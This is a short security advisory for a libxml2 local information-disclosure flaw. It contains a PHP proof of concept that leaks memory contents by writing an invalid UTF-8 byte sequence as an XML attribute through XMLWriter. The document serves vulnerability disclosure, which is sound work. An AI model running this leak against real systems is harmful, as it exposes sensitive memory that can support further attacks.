source: http://www.securityfocus.com/bid/45973/info

The 'libxml2' library is prone to a local information-disclosure vulnerability.

Attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 

<?php 
# Copyright 2010, Canonical, Ltd. 
# Author: Kees Cook <kees@ubuntu.com> 
# License: GPLv3 
# 
# Proof-of-concept memory content leak 

$xw = new XMLWriter(); 
$xw->openURI('php://output'); 

$xw->startElement('input'); 
$xw->writeAttribute('value', "\xe0\x81"); 
$xw->endElement(); 

?>